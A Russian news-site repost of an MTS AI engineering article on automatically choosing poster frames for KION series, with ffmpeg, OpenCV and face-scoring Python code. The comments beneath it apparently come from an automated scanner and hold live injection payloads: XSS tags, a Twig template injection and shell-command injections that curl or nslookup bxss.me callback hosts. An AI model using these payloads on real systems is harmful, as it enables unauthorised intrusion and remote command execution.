Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie
Subscribe
Прямой эфир
Русский Русский  English English
Войти / Регистрация
Cryptocurrencies: 9469 / Markets: 114759
Market Cap: $ 3 649 413 147 676 / 24h Vol: $ 111 462 614 249 / BTC Dominance: 58.888008521454%

Н Новости

  1. Главная
  2. Новости

Как мы с помощью ИИ выбираем обложки для сериалов в KION: кейс MTS AI

Привет, Хабр! Меня зовут Андрей Дугин, я руководитель группы видеоаналитики компании MTS AI. В статье раскрою то, как мы создаём постеры для сериалов и подбираем материалы для обложек фильмов в онлайн-кинотеатре KION. О том, как мы решили эту задачу, я постараюсь рассказать максимально подробно и с техническими деталями. Забегая вперёд, упомяну, что для выбора одной-единственной обложки приходится обрабатывать сотни тысяч кадров фильмов и сериалов. Конечно же, не вручную. Интересно, как всё это реализовано? Тогда прошу под кат.

77ccd1219d20c2865517c4cff8ef29c2.jpg

Коротко об MTS AI

Сначала о том, чем мы занимаемся, наших проектах и областях компетенции.

MTS AI — один из лидеров в сфере искусственного интеллекта. В нашем R&D-центре работает более 200 экспертов. Они обучают нейросети на самом мощном суперкомпьютере в телекоме и регулярно занимают призовые места на различных конкурсах в области AI, а также пишут статьи для передовых научных журналов.

Мы занимаемся:

  • компьютерным зрением

  • обработкой естественных языков

  • роботизацией процессов

  • распознаванием символов

  • генеративными сетями

a35bdc26758f9d64ade324975bdb3a25.png

Среди наших проектов и продуктов:

  • виртуальный ассистент

  • цифровая маркировка

  • видеонаблюдение

  • различные боты, которые помогают общаться с клиентами

  • инфраструктура для обеспечения защиты от спам-звонков

  • проекты для KION

Что мы делаем для онлайн-кинотеатра

MTS AI вместе с KION реализует несколько проектов, вкратце расскажу о пяти самых интересных.

Пропуск титров и заставок. Когда вы смотрите сериал в онлайн-кинотеатре, во время показа заставок или начальных/финальных титров на экране может появляться кнопка «Пропустить». Чтобы она правильно работала, мы разрабатываем алгоритмы, которые определяют повторяющиеся фрагменты в сериалах и фильмах:

  • заставки кинокомпаний

  • оригинальные заставки к каждой серии

  • опенинги

  • дополнительные эпизоды в титрах

  • напоминание сюжета прошлых серий

Разметка контента производится автоматически, без привлечения редакторов, гораздо быстрее, чем вручную.

Super Resolution. Мы повышаем разрешение и детализацию видео при помощи нейросетей для улучшения восприятия старых фильмов на современных экранах. Что касается нового контента, то для него мы обеспечиваем возможность увеличения разрешения с FullHD до 4К.

Распознавание актёров в кадре. При постановке видео на паузу лица главных героев обводятся рамкой, появляется плашка с дополнительной информацией об актёрах и ссылкой на фильмографию. Для этого мы настроили поиск фото соответствующего человека по имени и фамилии в Google Images и Яндекс Картинках. Результаты поиска фильтруются от мусора и кластеризуются. В самом большом кластере оказываются фотографии искомого актёра. По ним вычисляются векторы-дескрипторы, а затем видео обрабатывается покадрово — выполняется поиск и распознавание всех лиц.

Дальше мы производим трекинг перемещений героев в кадре вперёд и назад во времени. Даже если актёр повернулся спиной к камере, он всё равно будет «распознан» (но как будет показано далее, эта «фишка» одновременно является и недостатком). В результате мы получаем JSON-файл с разметкой актёров, которая используется в том числе в механизме генерации постеров.

Определение места для вставки рекламы. Многие видеохостинги монетизируют бесплатный контент. Но реклама не должна прерывать сюжет и диалог героев. Для этого наши алгоритмы анализируют видео и разбивают его на сцены, а также детектируют присутствие человеческой речи (здесь нам пришлось выйти за рамки компьютерного зрения и для анализа звука использовать механизм VAD, Voice Activity Detection). Так мы вычисляем временные метки, куда можно вставить рекламу: в этот момент происходит смена сцен и не звучит человеческая речь.

Генерация постеров. Мы используем механизм автоматического выбора наиболее удачного кадра для картинки-обложки по заданным критериям. Ранжирование и выборка кадров делаются с помощью нейросетей. Дополнительно мы получаем нарезку заданного количества изображений для дизайнеров, которые используют их для создания альтернативных постеров к фильмам с целью предотвращения эффекта «баннерной слепоты». Кстати, подробнее об этом явлении можно почитать здесь.

А теперь — о главном: генерации постеров и выборе обложек

Примеры постеров на экране ноутбука (слева) и на смартфоне (справа)
Примеры постеров на экране ноутбука (слева) и на смартфоне (справа)

Постером мы называем картинку, используемую для иллюстрации каждой серии в сезоне сериала, размещаемую рядом с номером и названием эпизода. Исторически прижился термин «генератор постеров», хотя на самом деле это «просто» поиск и выбор одного удачного стоп-кадра из соответствующего видео.

Для каждого сериала постеров требуется немного — всего несколько десятков (по количеству серий), но их приходится выбирать из сотен тысяч кадров. Этим занимается специальный сервис, который сначала выбирает TOP-N (у нас N=150) изображений, а затем предлагает финальное. Масштаб задачи можно оценить по таблице ниже:

Количество кадров в видео в зависимости от длительности и FPS
Количество кадров в видео в зависимости от длительности и FPS

К постерам предъявляется много требований:

  • картинка должна быть чёткой, не смазанной

  • без титров и надписей

  • в кадре присутствуют люди — 1, 2 или 3 человека. Опционально — чтобы там был и один из главных актёров

  • изображения лиц — достаточно крупные, в анфас или вполоборота, с открытыми глазами

  • эмоции — нейтральные или радостные. Промежуточных кадров с полуоткрытым ртом, странным выражением лица (silly face) быть не должно

  • отдаётся предпочтение некоторым позам — например, это объятия и поцелуи

  • хорошо, если в кадре есть животные — кошки, собаки, лошади

  • обращаем внимание на заметные предметы — это может быть телефон, фонарь, оружие и т. п.

  • композиция кадра должна быть удачной

  • удалено экранное каше («чёрные полосы» — леттербоксинг, пилларбоксинг)

Пример удачного кадра для постера
Пример удачного кадра для постера

Добиться такого результата было непросто — пришлось выполнить очень масштабную работу.

С чего мы начинали

Обычно создание рабочих решений у нас проходит в несколько стадий: PoC (Proof-of-Concept), MVP, PROD. На этапе PoC мы пробуем различные подходы и демонстрируем, что предложенное решение в принципе может работать, пусть даже в данный момент неидеально. В зависимости от текущих приоритетов заказчика код PoC может быть отложен до лучших времён либо взят в дальнейшую работу для улучшения метрик и запуска в продакшн. Генератор постеров был «положен на полку» на пару лет.

До прихода моей команды над кодом работал коллектив, разработавший PoC (в дальнейшем я буду условно называть его legacy-кодом). Но это была даже не альфа-версия, проект был очень «сырым». Когда к нам пришёл KION с предложением реанимировать проект и довести его до ума, мы развернули сервис в тестовой среде — и вот примеры кадров, которые иногда попадались на выходе:

Пример плохого выбора кадров
Пример плохого выбора кадров

Здесь есть всё то, чего быть не должно — чёрные полосы, титры, персонажи повёрнуты к зрителю спиной (побочный эффект от трекинга актёров в кадре) или лицо закрыто волосами.

Мы начали разбираться с legacy-кодом и обнаружили «традиционные» недостатки: запутанный пайплайн, полное отсутствие комментариев, нагромождение нейросетей и библиотек, вычислительно неэффективный анализ всех кадров подряд. Часть кода вообще не использовалась. В итоге — низкая производительность и непредсказуемый результат.

Поверхностно проанализировав код, мы обнаружили следующие механизмы и сущности:

  • выделение лиц на основе файла разметки актёров без, собственно, детектирования лиц на протяжении всей серии. Из-за трекинга периодически попадаются спины и затылки

  • обнаружение переходов между сценами с затемнением

  • Dlib — ключевые точки лица (facial landmarks) и обнаружение закрытых глаз

  • SINet — сегментация людей

  • HRNet и YOLO-Pose — определение поз (pose estimation)

  • YoloV4COCO — поиск дополнительных объектов в кадре, включая транспортные средства, множество животных, мебель и т. п. Среди животных зачем-то детектировались, например, жирафы

  • EmotionRecognizer — распознавание эмоций

  • DeepBlurDetection — определение смазанности кадра

  • Tesseract — детектирование текста без OCR

  • оценка композиции по взвешенной близости лица к центру кадра. Это достаточно примитивный механизм

  • простейший скоринг, который добавлял единицу при выполнении каждого условия. Например, есть лица — +1, есть животные — +1. Чем больше баллов, тем лучше кадр

  • нет обрезки леттербоксинга

Как мы решили проблему

Запустить полноценный сервис нужно было быстро, и мы решили не тратить время на изучение, рефакторинг и доработку имеющегося наследия. Вместо этого мы добавили ещё один этап обработки — предварительный отбор кадров-кандидатов. Legacy-код оставили практически без изменений, но на вход теперь стали подавать не целый фильм, а короткий видеоролик из небольшого числа заведомо качественных кадров.

Такой подход позволил решить следующие задачи:

  • улучшить качество кода

  • ускорить обработку видео

  • предотвратить ошибки legacy-кода

  • быстро запустить решение в прод

Всё получилось?

Да, и заодно мы создали универсальную для всех проектов KION эффективную внутреннюю библиотеку, которую назвали KION Tools. В неё вошли такие модули и классы:

  • composition.py — класс Composition (расчёт ГРИП, векторизация и оценка композиции кадра)

  • detectors.py — TextDetector (обнаружение присутствия текста в кадре) и FaceDetector (детекция и скоринг лиц)

  • ffmpeg.py — FFmpegCapture (аналог VideoCapture из OpenCV, обёртка над ffmpeg и ffprobe), CropboxDetector (обнаружение экранного каше и вычисление параметров обрезки), SceneChangeDetector (вычисление различия кадров для поиска монтажных склеек и статичных кадров), InterlacingDetector (обнаружение интерлейсинга в старых фильмах с целью коррекции)

  • labeling.py — ActorsLabeling (работа с JSON-файлом разметки актёров)

  • paths.py — MediaPath, VideoPath, MoviePath, SerialPath (классы для извлечения полезной информации из URL видео на S3)

  • posters.py — CandidatesSelection (отбор кадров-кандидатов в постеры с экспортом в MP4 или ZIP)

  • quality.py — HistogramQuality (оценка формы канальной гистограммы по сравнению с референсной) и CinematicQuality (интегральный скоринг фотографического качества изображения путём оценки богатства и насыщенности цветов и гистограммы яркости)

  • series.py — работа с сериалами и поиск повторяющихся кадров с использованием классов Frame, Episode, Season

Обрезка экранного каше

Экранное каше — это метод согласования соотношения сторон видео с соотношением сторон экрана без обрезки исходного изображения путём добавления горизонтальных (леттербоксинг, обычно встречается в современных широкоэкранных фильмах) или вертикальных (пилларбоксинг — в старых видео) чёрных полос по краям кадра. Иными словами, нам необходимо вписать один прямоугольник в другой с сохранением исходных пропорций.

Мастер-файлы фильмов хранятся в KION уже с добавленным (вкодированным прямо в видео) экранным каше. Поэтому для постеров его необходимо обнаружить и корректно подрезать края кадра, сохранив только содержимое.

При написании модулей для библиотеки KION Tools мы стремились максимально использовать возможности ffmpeg, чтобы у нас были заведомо работающие алгоритмы и минимизировалась собственная кодовая база. Как оказалось, это не всегда оправдано.

Чтобы вычислить параметры обрезки видео, сначала мы воспользовались ffmpeg-фильтром cropdetect — вот базовая команда, которая анализирует каждый 500-й кадр и выводит результаты в лог-файл, который затем можно распарсить и выбрать самые часто встречающиеся значения:

ffmpeg -i video.mp4 -vf select='not(mod(n\,500))',cropdetect=round=0,metadata=print:file=cropdetect.log -f null -
frame:211  pts:105500000 pts_time:4220
lavfi.cropdetect.x1=0
lavfi.cropdetect.x2=1919
lavfi.cropdetect.y1=138
lavfi.cropdetect.y2=941
lavfi.cropdetect.w=1920
lavfi.cropdetect.h=800
lavfi.cropdetect.x=0
lavfi.cropdetect.y=140
frame:212  pts:106000000 pts_time:4240
lavfi.cropdetect.x1=0
lavfi.cropdetect.x2=1919
lavfi.cropdetect.y1=138
lavfi.cropdetect.y2=941
lavfi.cropdetect.w=1920
lavfi.cropdetect.h=800
lavfi.cropdetect.x=0
lavfi.cropdetect.y=140

Пример содержимого файла cropdetect.log

def _parse_cropbox_from_cropdetect_log(self, path_to_cropdetect_log: Path) -> dict:
    # В ffmpeg есть фильтр cropdetect, здесь парсим его метаданные на выходе
    if path_to_cropdetect_log.exists():
        stats = defaultdict(Counter)
        # Регулярное выражение для строк вида "lavfi.cropdetect.y=140", "lavfi.cropdetect.w=1920"
        regex = re.compile(r"^lavfi\.cropdetect\.(?P<coord>[xywh]{1})=(?P<value>\d+)$", re.M)
        # Подсчитываем, сколько раз встречаются значения каждой из координат bbox'а (x, y, w, h)
        metadata = path_to_cropdetect_log.read_text()
        for match in regex.finditer(metadata):
            coord, value = match.group("coord", "value")
            stats[coord][value] += 1
        # И в качестве координат (x, y, w, h) берём самые часто встречающиеся
        self.cropbox = {coord: stats[coord].most_common(1)[0][0] for coord in stats.keys()}
    return self.cropbox

Парсинг результата работы фильтра cropdetect и определение параметров обрезки экранного каше

У такого подхода оказались следующие недостатки:

  1. Иногда режиссёры используют творческий приём в виде меняющегося на протяжении фильма экранного каше. Кадр может то расширяться, то сужаться по вертикали, и способ с парсингом самых частых значений может дать сбой. А значит, иногда появляются кадры с частично обрезанным каше (кадр оказался суженным по вертикали относительно всего фильма в целом). Мы пока не обрабатываем такие случаи и оставляем их коррекцию редактору KION.

  2. FFmpeg «заточен» на последовательную обработку кадров, поэтому выборка кадров с помощью фильтров select или fps приводит к фоновому декодированию вообще всех кадров подряд, что довольно медленно. Если вы знаете, как это обойти, напишите в комментариях.

Чтобы решить эти проблемы, мы воспользовались библиотекой OpenCV — главным образом потому, что она позволяет эффективно перемещаться между кадрами. В текущей реализации алгоритма мы анализируем каждый 300-й кадр и накапливаем максимальную яркость пикселей на протяжении всего видео, после чего легко вычислить параметры обрезки с помощью masked array:

Вычисление параметров обрезки видео с помощью OpenCV и numpy
def _calc_cropbox_from_video_with_opencv(self,
                                         # Обрезать полосы сверху и снизу (если они есть)
                                         crop_top_and_bottom: bool = True,
                                         # Обрезать полосы слева и справа (если они есть)
                                         crop_left_and_right: bool = True) -> dict:
    # Будем читать избранные кадры с помощью OpenCV, т. к. это НАМНОГО быстрее, чем с ffmpeg
    video = cv2.VideoCapture(self.path_to_video.as_posix())
    # В video.read() во избежание лишних аллокаций можно передать буфер frame (или None, если frame ещё не создан)
    frame = None
    # Пробегаемся по номерам кадров с шагом every_nth_frame
    for frame_id in count(0, self.every_nth_frame):
        # Если шаг 1, то быстрее просто читать кадры последовательно, а не скакать через video.set()
        if self.every_nth_frame > 1:
            # "Проматываем" видео к кадру с номером frame_id
            video.set(cv2.CAP_PROP_POS_FRAMES, frame_id)
        # Передаём frame как буфер для записи в video.read()
        success, frame = video.read(frame)  # Если frame is None (когда читаем первый кадр), то тоже подойдёт
        if not success:
            break
        # Будем использовать темпоральную маску, в которой на протяжении всего видео аккумулируем максимальные
        # значения яркостей пикселей среди всех проанализированных кадров
        if frame_id == 0:
            # Инициализируем темпоральную маску текущим кадром, она же будет выделенным буфером во избежание
            # лишних аллокаций памяти (см. использование параметров out и dst в функциях OpenCV и numpy ниже)
            cumulative_brightness_mask = frame.copy()  # Делаем копию, чтобы не перезаписать в video.read()
        else:
            # Сохраняем в маску максимальные значения яркости пикселей из маски и текущего кадра
            np.maximum(frame, cumulative_brightness_mask, out=cumulative_brightness_mask)
    video.release()
    # Агрегируем цветовые каналы в псевдо-grayscale, выбирая максимальные значения пикселей в каналах
    if cumulative_brightness_mask.ndim == 3:
        cumulative_brightness_mask = cumulative_brightness_mask.max(axis=-1)
    # С целью облегчения дебага сохраним копию маски в отдельное поле
    self._cumulative_brightness_mask = cumulative_brightness_mask.copy()
    # Применим порог, чтобы чётче дифференцировать области темпоральной маски — особенно чёрные
    cv2.threshold(cumulative_brightness_mask, 127, 255, cv2.THRESH_BINARY, dst=cumulative_brightness_mask)
    # Готовим дефолтные слайсы для подрезки видео (по умолчанию — без подрезки)
    # Пример дефолтных слайсов для FullHD-кадра: [slice(0, 1080), slice(0, 1920)]
    slices = [slice(0, length) for length in cumulative_brightness_mask.shape]
    # Перебираем оси и рассматриваем условия — нужно ли подрезать по данной оси
    for axis, crop_along_this_axis in enumerate((crop_top_and_bottom, crop_left_and_right)):
        if not crop_along_this_axis:
            continue
        # Ищем ненулевые (True) значения вдоль строк/столбцов
        profile = cumulative_brightness_mask.any(axis=1-axis)
        # Представим профиль как masked array, т. к. там есть функция поиска границ
        profile = np.ma.masked_array(profile, ~profile)
        # Вычисляем индексы границ содержимого кадра
        edges = np.ma.flatnotmasked_edges(profile)
        # Особенность flatnotmasked_edges(): returns None if all values are masked, т. е. None для полного кадра
        if edges is not None:
            # Особенность flatnotmasked_edges(): returns indices of first and last non-masked value in the array
            start, stop = edges
            # Необходимо перейти от индекса последнего элемента к индексу межэлементного интервала, поэтому +1
            slices[axis] = slice(start, stop + 1)
        else:
            # По этой оси обрезки нет (полный кадр), поэтому оставляем дефолтный слайс без изменений
            pass
    # Переложим слайсы в параметры cropbox'а
    self.cropbox = {
        "x": slices[1].start,
        "y": slices[0].start,
        "w": slices[1].stop - slices[1].start,
        "h": slices[0].stop - slices[0].start,
    }
    return self.cropbox

Лучшие друзья видеоаналитиков — это статичные кадры

Мы высказали и подтвердили гипотезу, что лучшие кадры — статические. В них нет движения и смазывания, камера замирает, актёры на мгновение фиксируют мимику. Эти кадры часто оказываются ключевыми с точки зрения режиссёра и имеют хорошую композицию, а также на них обычно нет закрытых глаз или незавершённых эмоций.

Чтобы выделить такие кадры, проще всего попиксельно сравнить последовательные пары кадров на протяжении видео: вычесть из одного кадра другой, а затем взять разницу по модулю и рассчитать среднее значение. Так вычисляется метрика MAFD, Mean Absolute Frame Difference. Чем выше численное значение метрики, тем сильнее отличаются кадры.

Для решения этой задачи мы использовали фильтр scdet. Он выводит в лог несколько метрик, необходимых для поиска нужных кадров:

ffmpeg -i video.mp4 -vf scdet=0:0,metadata=print:file=scdet.log -f null –
frame:137978 pts:137978000 pts_time:5519.12
lavfi.scd.mafd=0.665
lavfi.scd.score=0.220
lavfi.scd.time=5519.12
frame:137979 pts:137979000 pts_time:5519.16
lavfi.scd.mafd=0.582
lavfi.scd.score=0.084
lavfi.scd.time=5519.16

Результаты вычисления разницы последовательных кадров

Пример графика MAFD для 5 000 последовательных кадров
Пример графика MAFD для 5 000 последовательных кадров

Здесь пики соответствуют монтажным склейкам (смене сцен, а точнее, шотов), где кадры отличаются максимально. Найти пики мы можем с помощью функции scipy.signal.find_peaks, она также позволяет задать минимальное расстояние между пиками с помощью параметра distance. Но нам нужны минимумы MAFD, и мы используем обратную метрику:

def get_static_frame_ids(self, metric: str = "scd.mafd") -> List[int]:
    # Минимальное количество кадров на сцену, исходя из минимальной длительности сцены и FPS видео. Ограничение
    # необходимо, чтобы избежать появления групп близко расположенных и очень похожих кадров из одной сцены.
    min_frames_per_scene = self.min_scene_duration_seconds * self.video.avg_frame_rate
    # Логично было бы разбивать видео на сцены по пикам scd.score и затем искать минимумы scd.mafd, но такой
    # подход показал себя не очень хорошо. Кроме того, возникла бы проблема с фильмами некоторых режиссёров,
    # которые снимают длинные сцены одним кадром.
    # Среди всех кадров в каждой сцене выбираем один кадр с минимальным значением scd.mafd; это кадр, который
    # минимально отличается от предыдущего, что обычно соответствует относительно статичному, когда действие
    # "замерло" хотя бы на мгновение. Но нет гарантии, что кадр резкий (не размытый)! При этом нулевое scd.mafd
    # соответствует пустым (чёрным) кадрам или титрам на однородном фоне, поэтому такие значения исключаем,
    # заменяя на np.nan — функция find_peaks вполне справляется с такими данными.
    # Поскольку find_peaks ищет максимальные значения, а нам нужны минимальные, берём обратную метрику.
    metric = 1.0 / self.metadata[metric].replace(0.0, np.nan)
    # Ищем пики с условием, чтобы расстояние между ними было не меньше min_frames_per_scene. Найденные ненулевые
    # минимумы scd.mafd и будут номерами кадров-кандидатов.
    frame_ids, _ = find_peaks(metric, distance=min_frames_per_scene)
    # Возвращаем список отсортированных номеров кадров
    return sorted(frame_ids)

Поиск статичных кадров

Минус такого подхода — не оценивается резкость кадров, а статичные кадры вполне могут быть и размытыми. Конечно, можно одновременно с фильтром scdet воспользоваться и фильтром blurdetect с выводом результатов в тот же лог-файл, но есть пара проблем. Во-первых, это будет работать довольно долго. Во-вторых, подбор оптимальных параметров неоднозначен и может варьироваться от видео к видео. Кроме того, необходимо обрезать леттербоксинг и в начале цепочки запускать фильтр crop, что ещё сильнее замедляет обработку.

Из-за этих недостатков мы перешли на другой метод: читаем все кадры видео с помощью нашего класса FFmpegCapture, причём сразу обрезаем и извлекаем изображения в градациях серого. Например, в случае видео в YUV — как правило, это yuv420p — просто берём уже готовый яркостный канал Y с помощью фильтра extractplanes=y, чем избегаем лишних вычислений и потерь при преобразованиях. Далее рассчитываем метрику MAFD и одновременно оцениваем композицию и резкость кадра.

После этого с помощью комбинации полученных метрик и той же функции find_peaks выбираем наиболее статичные, резкие и композиционно удачные кадры.

На этом же этапе можно отбросить номера кадров, которые отсутствуют в разметке актёров, таким образом оставив только кадры с интересующими актёрами.

Кадры нашли, теперь детектируем лица

После того как обнаружены статичные кадры, необходимо найти на них лица и оценить их качество. Как и при формировании файла разметки актёров, мы могли бы воспользоваться решением LUNA Platform нашей портфельной компании VisionLabs — оно даёт отличное качество. Но мы искали что-то более лёгкое и простое, не требующее регулярного обновления лицензий. Попробовали библиотеку от Google MediaPipe, но она на тот момент была очень «сырой» и не давала достаточного качества. Поэтому мы остановились на библиотеке DeepFace:

  • отличное качество детектирования лиц

  • хорошая скорость работы

  • определение пола и возраста

  • распознавание эмоций

Для задачи детектирования лиц «под капотом» поддерживаются движки Dlib, SSD, OpenCV, MTCNN, RetinaFace и тот же MediaPipe. Мы выбрали RetinaFace.

Детектирование лица с помощью DeepFace
Детектирование лица с помощью DeepFace

Ниже показан пример файла разметки. В начале перечислены актёры с их id, затем указываются номера кадров с указанием id актёра и координатами рамки вокруг лица (bounding box):

{'actors': {'0': 'glo_person_aleksandr_feklistov',
            '1': 'glo_person_alina_sergeeva',
            '2': 'glo_person_anatolij_terpickij',
            '3': 'glo_person_danila_kozlovskij',
            '4': 'glo_person_dmitrij_pevcov',
            '5': 'glo_person_elena_dubrovskaya',
            '6': 'glo_person_ivan_mackevich',
            '7': 'glo_person_magdalena_gurska',
            '8': 'glo_person_pavel_harlanchuk',
            '9': 'glo_person_valeriya_arlanova'},
 'content_id': 'glo_episode_mts_6204380',
 'fps': 25.0,
 'frames': {'10199': [{'1': [0.476, 0.432, 0.057, 0.118]}],
            '10200': [{'1': [0.475, 0.431, 0.061, 0.123]}],
            '10201': [{'1': [0.475, 0.429, 0.061, 0.123]}],
            '10202': [{'1': [0.474, 0.425, 0.065, 0.132]}],
            '10203': [{'1': [0.475, 0.425, 0.062, 0.13]}],
            '10204': [{'1': [0.474, 0.429, 0.068, 0.123]}],
            '10205': [{'1': [0.474, 0.425, 0.068, 0.132]}], ...

JSON-файл с разметкой по актёрам

Файл разметки актёров (если он предоставлен) мы используем сейчас только для того, чтобы исключить кадры, на которых заведомо нет перечисленных в файле главных актёров. При этом мы не можем полагаться на разметку bbox'ов из файла — из-за механизма трекинга отслеживаются не только лица, но и затылки. Нам нужен детектор лиц RetinaFace — он ищет все лица в кадре. Это используется в скоринге, о нём расскажу дальше.

А что насчёт резкости кадра?

Для оценки этого параметра мы используем оператор Лапласа — это вторая производная от яркости пикселей изображения. Один из способов его посчитать — выполнить свёртку серого изображения с соответствующим ядром 3 × 3:

Пример применения оператора Лапласа (исходное изображение и результат)
Пример применения оператора Лапласа (исходное изображение и результат)

Мерой резкости выступает вариация Лапласиана (variance of Laplacian). Чем больше значение, тем выше резкость изображения.

После экспериментов мы пришли к использованию альтернативной матрицы 3 × 3 для расчёта Лапласиана с учётом диагоналей. В ней посередине стоит значение -8, а вся остальная матрица заполнена единицами. Такой подход более устойчив к шумам.

Скоринг по лицам

Здесь, пожалуй, проще показать весь код метода с комментариями, нежели объяснять построчно. Ключевые идеи:

  • формируем булеву маску размером с изображение и заполняем её значениями True только внутри рамок (bbox’ов) найденных лиц

  • значения Лапласиана всего изображения внутри bbox’ов домножаем на скорректированное значение confidence — это эквивалентно дополнительному размытию областей с лицами

  • по экспериментально подобранной формуле (она может быть и другой) оцениваем площадь и резкость частей кадра с лицами относительно оставшейся части без лиц

Метод с комментариями
def score(self, frame: np.ndarray, draw_bbox: bool = False) -> Tuple[float, bool]:
    # Предобработка изображения
    processed = self.preprocess(frame, blur=True)
    # Рассчитываем Лапласиан всего изображения, чтобы далее посчитать var() как меру резкости
    laplacian = self.laplacian(processed)
    # Резкость всего изображения
    overall_sharpness = laplacian.var()
    # Маска, которая будет выделять bbox'ы всех лиц в кадре, принимая в них значение True
    face_union_mask = np.zeros_like(laplacian, dtype="bool")
    # Площадь полного кадра
    full_frame_area = np.prod(frame.shape[:2])
    # Флаг, который говорит, найдено ли в кадре хотя бы одно лицо, удовлетворяющее критериям отбора. Это чисто
    # индикатор, не влияющий на скоринг ниже и предназначенный для дальнейшего использования во внешнем коде.
    face_is_found = False
    # Детектируем лица и обрабатываем результаты
    for confidence, (x1, y1, x2, y2) in self.detect(processed):
        # Бэкенд retinaface может выдавать confidence == 0.0, но это нам не подходит (ложное срабатывание)
        if confidence == 0.0:
            continue
        # Костыль связан с тем, что retinaface даёт очень высокие значения confidence порядка 0.99. "Вытянем"
        # значения confidence от очень близких к 1.0 (диапазон порядка 0.99-1.0) в сторону 0.0 (в диапазон
        # 0.0-1.0). Кроме того, этот трюк позволяет увеличить флуктуацию confidence и снизить риск выборки
        # большого количества идущих подряд почти одинаковых кадров.
        confidence **= 64  # Magic number, подобрано экспериментально глядя на график confidence по целому фильму
        # Заполняем маску кадра внутри bbox'а лица
        face_union_mask[y1:y2, x1:x2] = True
        # Взвешиваем значения Лапласиана внутри bbox'а в соответствии с confidence. Это эквивалентно дополнительному
        # размытию (снижению резкости) лиц, в которых нейросеть не очень уверена.
        laplacian[y1:y2, x1:x2] *= confidence  # TODO: А нужно ли, особенно с учётом "искусственности" confidence?
        # В режиме отладки можем нарисовать bbox'ы прямо на изображении
        if draw_bbox:
            # Можем модифицировать исходное изображение только здесь
            cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 2)
            # Также нанесём надпись со значением confidence
            cv2.putText(frame, f"{confidence:.6f}", (x1, y1 - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA)
        # Вычисляем относительную площадь лица по сравнению с площадью всего кадра
        face_bbox_area = abs((x2 - x1) * (y2 - y1)) / full_frame_area
        # Проверяем соответствие параметров найденного лица запрошенным и в зависимости от этого обновляем флаг
        face_is_found |= (
            confidence >= self.confidence_threshold and
            self.min_face_area <= face_bbox_area <= self.max_face_area
        )
    # Если в кадре есть лица и они занимают не 100% площади
    if np.any(face_union_mask) and not np.all(face_union_mask):
        # Считаем метрики по частям кадра, занятым лицами
        faces_sharpness = laplacian[face_union_mask].var()
        faces_area = np.count_nonzero(face_union_mask)
        # Считаем метрики для оставшихся частей кадра, где лиц нет
        other_sharpness = laplacian[~face_union_mask].var()
        other_area = face_union_mask.size - faces_area
        # Увеличению score способствуют следующие факторы:
        # 1. Резкость (чёткость) лиц, отсутствие размытия
        # 2. Суммарная площадь, занимаемая всеми лицами в кадре
        # 3. Фокус на лицах (лица чёткие, а фон более размытый)
        score = (faces_sharpness * faces_area) / (other_sharpness * other_area)
    else:
        # Нам нужно, чтобы скоринг работал и для кадров без человеческих лиц (например, анализируем мультфильм),
        # но при этом приоритет был у кадров с лицами. Т. е. необходимо сформировать 2 разнесённых по шкале score
        # группы кадров (есть лица/нет лиц) с корректным ранжированием кадров внутри каждой группы. Для этого
        # просто уменьшим скоринг кадров без лиц на несколько порядков:
        score = 1e-4  # Magic number, можно ещё уменьшить при необходимости
    # Домножаем на нормированную оценку общей резкости полного кадра, это даст приоритет более чётким кадрам
    score *= overall_sharpness / self.ref_var_of_laplacian
    return score, face_is_found

Так мы проранжировали кадры по наличию и «качеству» (резкости, размеру) лиц и можем использовать эти оценки при дальнейшей фильтрации кадров.

Очевидный недостаток такого подхода в том, что формула отдаёт предпочтение кадрам с самыми крупными лицами. Попытка уменьшать максимальную относительную площадь лиц приводит к существенному ухудшению композиции.

Сейчас мы совершенствуем формулу скоринга для того, чтобы повысить вариативность масштабов лиц и получать не только кадры вида «лицо и плечи», но и фигуры людей на расстоянии, а также кадры без людей вообще.

На этом я завершаю первую часть. В следующей расскажу об оценке композиции и качества изображения, обучении нейросети, поиске текста и о результатах работы. В комментариях отвечу на все вопросы!

Источник

Теги

Категория

Новости

Дата

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

